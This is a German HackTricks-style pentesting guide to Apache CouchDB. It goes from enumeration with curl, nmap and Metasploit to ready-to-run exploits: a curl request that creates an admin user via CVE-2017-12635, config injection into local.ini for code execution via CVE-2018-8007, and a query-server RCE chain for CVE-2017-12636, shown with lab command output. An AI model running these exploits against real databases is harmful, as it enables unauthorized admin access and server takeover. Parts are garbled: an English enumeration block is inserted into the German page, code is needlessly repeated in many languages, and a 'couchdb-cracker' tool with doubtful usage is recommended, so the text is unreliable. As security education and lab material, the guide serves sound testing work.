26 KiB
5984,6984 - Pentesting CouchDB
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories senden.
Grundlegende Informationen
CouchDB ist eine vielseitige und leistungsstarke dokumentenorientierte Datenbank, die Daten mithilfe einer Schlüssel-Wert-Zuordnung innerhalb jedes Dokuments organisiert. Felder innerhalb des Dokuments können als Schlüssel/Wert-Paare, Listen oder Maps dargestellt werden, was Flexibilität bei der Speicherung und Abfrage von Daten ermöglicht.
Jedes in CouchDB gespeicherte Dokument erhält auf Dokumentenebene eine eindeutige Kennung (_id
). Darüber hinaus wird jeder vorgenommene und in der Datenbank gespeicherte Änderung eine Revisionsnummer (_rev
) zugewiesen. Diese Revisionsnummer ermöglicht eine effiziente Verfolgung und Verwaltung von Änderungen, erleichtert das einfache Abrufen und Synchronisieren von Daten in der Datenbank.
Standardport: 5984 (http), 6984 (https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Automatische Enumeration
Automatic enumeration is a crucial step in the process of pentesting CouchDB. It involves gathering information about the target system without any manual intervention. This can be done using various tools and techniques.
1. Nmap
Nmap is a powerful network scanning tool that can be used to discover open ports and services running on a target system. To scan for CouchDB, you can use the following command:
nmap -p 5984 <target_ip>
2. Curl
Curl is a command-line tool that allows you to make HTTP requests. You can use it to interact with the CouchDB API and gather information about the databases and documents present on the target system. Here are a few examples of curl commands that can be used for enumeration:
- To list all databases:
curl -X GET http://<target_ip>:5984/_all_dbs
- To retrieve information about a specific database:
curl -X GET http://<target_ip>:5984/<database_name>
- To retrieve a specific document from a database:
curl -X GET http://<target_ip>:5984/<database_name>/<document_id>
3. Fauxton
Fauxton is the web-based administration interface for CouchDB. It provides a graphical user interface that allows you to manage and interact with CouchDB instances. By accessing Fauxton on the target system, you can gather information about the databases, documents, and users present on the CouchDB instance.
To access Fauxton, open a web browser and navigate to http://<target_ip>:5984/_utils
.
4. Metasploit
Metasploit is a popular penetration testing framework that includes a wide range of tools and modules for various tasks. It also provides modules for CouchDB enumeration. You can use the couchdb_enum
module in Metasploit to automatically enumerate databases and documents on a CouchDB instance.
To use the couchdb_enum
module, open Metasploit and run the following commands:
use auxiliary/scanner/couchdb/couchdb_enum
set RHOSTS <target_ip>
run
These are some of the tools and techniques that can be used for automatic enumeration of CouchDB during a pentesting engagement. By gathering information about the target system, you can gain valuable insights that can be used for further exploitation and vulnerability assessment.
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Banner
Der Banner ist eine Information, die vom CouchDB-Server zurückgegeben wird, wenn eine Verbindung hergestellt wird. Es enthält Informationen wie die Version der CouchDB-Software und andere Details, die für einen Angreifer nützlich sein können. Um den Banner zu erhalten, kann das Tool curl
verwendet werden:
curl -X GET http://<IP>:<Port>/
Datenbanken auflisten
Um die vorhandenen Datenbanken auf dem CouchDB-Server aufzulisten, kann die folgende Anfrage verwendet werden:
curl -X GET http://<IP>:<Port>/_all_dbs
Dokumente in einer Datenbank auflisten
Um die Dokumente in einer bestimmten Datenbank aufzulisten, kann die folgende Anfrage verwendet werden:
curl -X GET http://<IP>:<Port>/<Database_Name>/_all_docs
Dokumente abrufen
Um ein bestimmtes Dokument aus einer Datenbank abzurufen, kann die folgende Anfrage verwendet werden:
curl -X GET http://<IP>:<Port>/<Database_Name>/<Document_ID>
Ansichten abrufen
Um die Ansichten einer Datenbank abzurufen, kann die folgende Anfrage verwendet werden:
curl -X GET http://<IP>:<Port>/<Database_Name>/_design/<Design_Document_Name>/_view/<View_Name>
Fehlende Berechtigungen überprüfen
Um zu überprüfen, ob ein Benutzer auf eine bestimmte Datenbank zugreifen kann, kann die folgende Anfrage verwendet werden:
curl -X GET http://<IP>:<Port>/<Database_Name> -u <Username>:<Password>
Wenn der Benutzer keine Berechtigung hat, wird eine Fehlermeldung zurückgegeben.
Schwache Passwörter überprüfen
Um schwache Passwörter auf dem CouchDB-Server zu überprüfen, kann das Tool couchdb-cracker
verwendet werden. Es kann mit dem folgenden Befehl installiert werden:
pip install couchdb-cracker
Nach der Installation kann das Tool wie folgt verwendet werden:
couchdb-cracker -u http://<IP>:<Port> -w <Wordlist_Path>
Das Tool versucht, sich mit den Benutzernamen "admin" und "root" und den Passwörtern aus der angegebenen Wortliste anzumelden.
curl http://IP:5984/
Dies sendet eine GET-Anfrage an eine installierte CouchDB-Instanz. Die Antwort sollte einer der folgenden ähnlich sehen:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Beachten Sie, dass beim Zugriff auf die Wurzel von CouchDB eine 401 Unauthorized
-Fehlermeldung mit einer Meldung wie dieser angezeigt wird: {"error":"unauthorized","reason":"Authentication required."}
Sie können nicht auf das Banner oder einen anderen Endpunkt zugreifen.
{% endhint %}
Info Enumeration
Dies sind die Endpunkte, auf die Sie mit einer GET-Anfrage zugreifen und einige interessante Informationen extrahieren können. Sie können weitere Endpunkte und detailliertere Beschreibungen in der CouchDB-Dokumentation finden.
/_active_tasks
Liste der laufenden Aufgaben, einschließlich des Aufgabentyps, des Namens, des Status und der Prozess-ID./_all_dbs
Gibt eine Liste aller Datenbanken in der CouchDB-Instanz zurück./_cluster_setup
Gibt den Status des Knotens oder Clusters gemäß dem Cluster-Setup-Assistenten zurück./_db_updates
Gibt eine Liste aller Datenbankereignisse in der CouchDB-Instanz zurück. Das Vorhandensein der Datenbank_global_changes
ist erforderlich, um diesen Endpunkt zu verwenden./_membership
Zeigt die Knoten an, die Teil des Clusters sind, alscluster_nodes
. Das Feldall_nodes
zeigt alle Knoten an, die dieser Knoten kennt, einschließlich derjenigen, die Teil des Clusters sind./_scheduler/jobs
Liste der Replikationsaufträge. Jede Auftragsbeschreibung enthält Informationen über Quelle und Ziel, Replikations-ID, eine Historie der letzten Ereignisse und einige andere Dinge./_scheduler/docs
Liste der Replikationsdokumentzustände. Enthält Informationen zu allen Dokumenten, auch in den Zuständencompleted
undfailed
. Für jedes Dokument werden die Dokument-ID, die Datenbank, die Replikations-ID, Quelle und Ziel sowie andere Informationen zurückgegeben./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Der Endpunkt/_node/{node-name}
kann verwendet werden, um den Erlang-Knotennamen des Servers zu bestätigen, der die Anfrage verarbeitet. Dies ist besonders nützlich, wenn Sie auf/_node/_local
zugreifen, um diese Informationen abzurufen./_node/{node-name}/_stats
Die Ressource_stats
gibt ein JSON-Objekt zurück, das die Statistiken für den laufenden Server enthält. Der Literalstring_local
dient als Alias für den lokalen Knotennamen. Daher kann für alle Statistik-URLs{node-name}
durch_local
ersetzt werden, um mit den Statistiken des lokalen Knotens zu interagieren./_node/{node-name}/_system
Die Ressource_system
gibt ein JSON-Objekt zurück, das verschiedene systemweite Statistiken für den laufenden Server enthält. Sie können_local
als{node-name}
verwenden, um Informationen zum aktuellen Knoten zu erhalten./_node/{node-name}/_restart
/_up
Bestätigt, dass der Server aktiv, ausgeführt und bereit ist, auf Anfragen zu antworten. Wennmaintenance_mode
auftrue
odernolb
gesetzt ist, gibt der Endpunkt eine 404-Fehlermeldung zurück./_uuids
Fordert eine oder mehrere universell eindeutige Bezeichner (UUIDs) von der CouchDB-Instanz an./_reshard
Gibt eine Anzahl abgeschlossener, fehlgeschlagener, laufender, gestoppter und insgesamt ausgeführter Jobs sowie den Zustand des Resharding im Cluster zurück.
Weitere interessante Informationen können wie hier erklärt extrahiert werden: https://lzone.de/cheat-sheet/CouchDB
Datenbankliste
curl -X GET http://IP:5984/_all_dbs
Wenn diese Anfrage mit einem 401 unauthorised antwortet, benötigen Sie gültige Anmeldeinformationen, um auf die Datenbank zuzugreifen:
curl -X GET http://user:password@IP:5984/_all_dbs
Um gültige Anmeldeinformationen zu finden, könnten Sie versuchen, den Dienst zu brute-forcen.
Dies ist ein Beispiel für eine CouchDB-Antwort, wenn Sie ausreichende Berechtigungen haben, um Datenbanken aufzulisten (Es handelt sich nur um eine Liste von Datenbanken):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Datenbankinformationen
Sie können einige Informationen zur Datenbank (wie Anzahl der Dateien und Größen) abrufen, indem Sie auf den Datenbanknamen zugreifen:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Dokumentenliste
Liste jede Eintragung innerhalb einer Datenbank auf.
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Dokument lesen
Lesen Sie den Inhalt eines Dokuments in einer Datenbank:
GET /<database>/<document_id>
import requests
url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
response = requests.get(url)
print(response.text)
const axios = require('axios');
const url = 'http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>';
axios.get(url)
.then(response => {
console.log(response.data);
})
.catch(error => {
console.error(error);
});
require 'net/http'
url = URI.parse("http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>")
http = Net::HTTP.new(url.host, url.port)
request = Net::HTTP::Get.new(url.path)
response = http.request(request)
puts response.body
Invoke-RestMethod -Method GET -Uri "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
<?php
$url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>";
$response = file_get_contents($url);
echo $response;
?>
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class Main {
public static void main(String[] args) {
try {
URL url = new URL("http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
StringBuilder result = new StringBuilder();
while ((line = rd.readLine()) != null) {
result.append(line);
}
rd.close();
System.out.println(result.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
using System;
using System.Net;
class Program
{
static void Main()
{
using (WebClient client = new WebClient())
{
string url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>";
string response = client.DownloadString(url);
Console.WriteLine(response);
}
}
}
package main
import (
"fmt"
"io/ioutil"
"net/http"
)
func main() {
url := "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
resp, err := http.Get(url)
if err != nil {
fmt.Println(err)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
return
}
fmt.Println(string(body))
}
Invoke-WebRequest -Method GET -Uri "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
curl -X GET "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Dank der Unterschiede zwischen den Erlang- und JavaScript-JSON-Parsern können Sie mit folgendem Befehl einen Administrator-Benutzer mit den Anmeldeinformationen hacktricks:hacktricks
erstellen:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Weitere Informationen zu dieser Schwachstelle finden Sie hier.
CouchDB RCE
Erlang-Cookie-Sicherheitsüberblick
Beispiel von hier.
In der CouchDB-Dokumentation, speziell im Abschnitt zur Cluster-Einrichtung (Link), wird die Verwendung von Ports durch CouchDB im Cluster-Modus diskutiert. Es wird erwähnt, dass, wie im Standalone-Modus, Port 5984
verwendet wird. Zusätzlich wird Port 5986
für node-lokale APIs verwendet und wichtig ist, dass Erlang TCP-Port 4369
für den Erlang Port Mapper Daemon (EPMD) benötigt, der die Kommunikation zwischen den Knoten in einem Erlang-Cluster ermöglicht. Diese Einrichtung bildet ein Netzwerk, in dem jeder Knoten mit jedem anderen Knoten verbunden ist.
Ein wichtiger Sicherheitshinweis betrifft Port 4369
. Wenn dieser Port über das Internet oder ein ungesichertes Netzwerk zugänglich gemacht wird, hängt die Sicherheit des Systems stark von einem eindeutigen Identifikator ab, der als "Cookie" bezeichnet wird. Dieser Cookie dient als Schutzmaßnahme. Zum Beispiel könnte in einer gegebenen Prozessliste der Cookie mit dem Namen "monster" beobachtet werden, was auf seine operative Rolle im Sicherheitsframework des Systems hinweist.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Für diejenigen, die verstehen möchten, wie dieses "Cookie" für Remote Code Execution (RCE) im Kontext von Erlang-Systemen ausgenutzt werden kann, steht ein eigener Abschnitt für weitere Informationen zur Verfügung. Dort werden die Methoden zur unbefugten Nutzung von Erlang-Cookies zur Übernahme der Kontrolle über Systeme detailliert beschrieben. Sie können hier den detaillierten Leitfaden zur Ausnutzung von Erlang-Cookies für RCE erkunden.
Ausnutzung von CVE-2018-8007 durch Änderung der local.ini
Beispiel von hier.
Eine kürzlich bekannt gegebene Schwachstelle, CVE-2018-8007, die Apache CouchDB betrifft, wurde untersucht und dabei festgestellt, dass für die Ausnutzung Schreibberechtigungen für die local.ini
-Datei erforderlich sind. Obwohl dies aufgrund von Sicherheitsbeschränkungen nicht direkt auf das anfängliche Zielsystem anwendbar ist, wurden Änderungen vorgenommen, um Schreibzugriff auf die local.ini
-Datei zu gewähren, um den Prozess zu erkunden. Detaillierte Schritte und Codebeispiele werden unten bereitgestellt, um den Vorgang zu veranschaulichen.
Zunächst wird die Umgebung vorbereitet, indem sichergestellt wird, dass die local.ini
-Datei beschreibbar ist. Dies wird überprüft, indem die Berechtigungen aufgelistet werden:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Um die Schwachstelle auszunutzen, wird ein Curl-Befehl ausgeführt, der auf die cors/origins
-Konfiguration in local.ini
abzielt. Dadurch wird ein neuer Ursprung zusammen mit zusätzlichen Befehlen unter dem Abschnitt [os_daemons]
eingefügt, um beliebigen Code auszuführen:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Nachfolgende Überprüfung zeigt die injizierte Konfiguration in local.ini
, indem sie sie mit einem Backup vergleicht, um die Änderungen hervorzuheben:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Zunächst existiert die erwartete Datei (/tmp/0xdf
) nicht, was darauf hinweist, dass der injizierte Befehl noch nicht ausgeführt wurde. Weitere Untersuchungen zeigen, dass Prozesse im Zusammenhang mit CouchDB ausgeführt werden, darunter einer, der potenziell den injizierten Befehl ausführen könnte:
root@canape:/home/homer/bin# ps aux | grep couch
Durch Beenden des identifizierten CouchDB-Prozesses und Zulassen des automatischen Neustarts wird die Ausführung des injizierten Befehls ausgelöst, wie durch das Vorhandensein der zuvor fehlenden Datei bestätigt wird:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Diese Untersuchung bestätigt die Durchführbarkeit der Ausnutzung von CVE-2018-8007 unter bestimmten Bedingungen, insbesondere der Notwendigkeit eines beschreibbaren Zugriffs auf die Datei local.ini
. Die bereitgestellten Codebeispiele und Verfahrensschritte bieten eine klare Anleitung zur Reproduktion des Exploits in einer kontrollierten Umgebung.
Für weitere Details zu CVE-2018-8007 siehe den Bericht von mdsec: CVE-2018-8007.
Erkundung von CVE-2017-12636 mit Schreibberechtigungen auf local.ini
Beispiel von hier.
Es wurde eine Schwachstelle namens CVE-2017-12636 untersucht, die die Ausführung von Code über den CouchDB-Prozess ermöglicht, obwohl bestimmte Konfigurationen ihre Ausnutzung verhindern können. Trotz zahlreicher verfügbarer Proof-of-Concept (POC)-Referenzen sind Anpassungen erforderlich, um die Schwachstelle in CouchDB Version 2 auszunutzen, die sich von der üblicherweise angegriffenen Version 1.x unterscheidet. Die ersten Schritte bestehen darin, die CouchDB-Version zu überprüfen und das Fehlen des erwarteten Query-Server-Pfads zu bestätigen:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Um CouchDB Version 2.0 anzupassen, wird ein neuer Pfad verwendet:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Versuche, einen neuen Abfrage-Server hinzuzufügen und aufzurufen, führten zu Berechtigungsfehlern, wie aus der folgenden Ausgabe hervorgeht:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Weitere Untersuchungen ergaben Berechtigungsprobleme mit der local.ini
-Datei, die nicht beschreibbar war. Durch Ändern der Dateiberechtigungen mit Root- oder Homer-Zugriff wurde es möglich, fortzufahren:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Nachfolgende Versuche, den Abfrageserver hinzuzufügen, waren erfolgreich, wie durch das Fehlen von Fehlermeldungen in der Antwort gezeigt wurde. Die erfolgreiche Änderung der local.ini
-Datei wurde durch den Dateivergleich bestätigt:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Der Prozess wurde fortgesetzt mit der Erstellung einer Datenbank und eines Dokuments, gefolgt von dem Versuch, Code über eine benutzerdefinierte Ansicht auszuführen, die auf den neu hinzugefügten Abfrageserver abgebildet ist:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Eine Zusammenfassung mit einer alternativen Nutzlast bietet weitere Einblicke in die Ausnutzung von CVE-2017-12636 unter bestimmten Bedingungen. Nützliche Ressourcen zur Ausnutzung dieser Schwachstelle sind:
Shodan
port:5984 couchdb
Referenzen
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.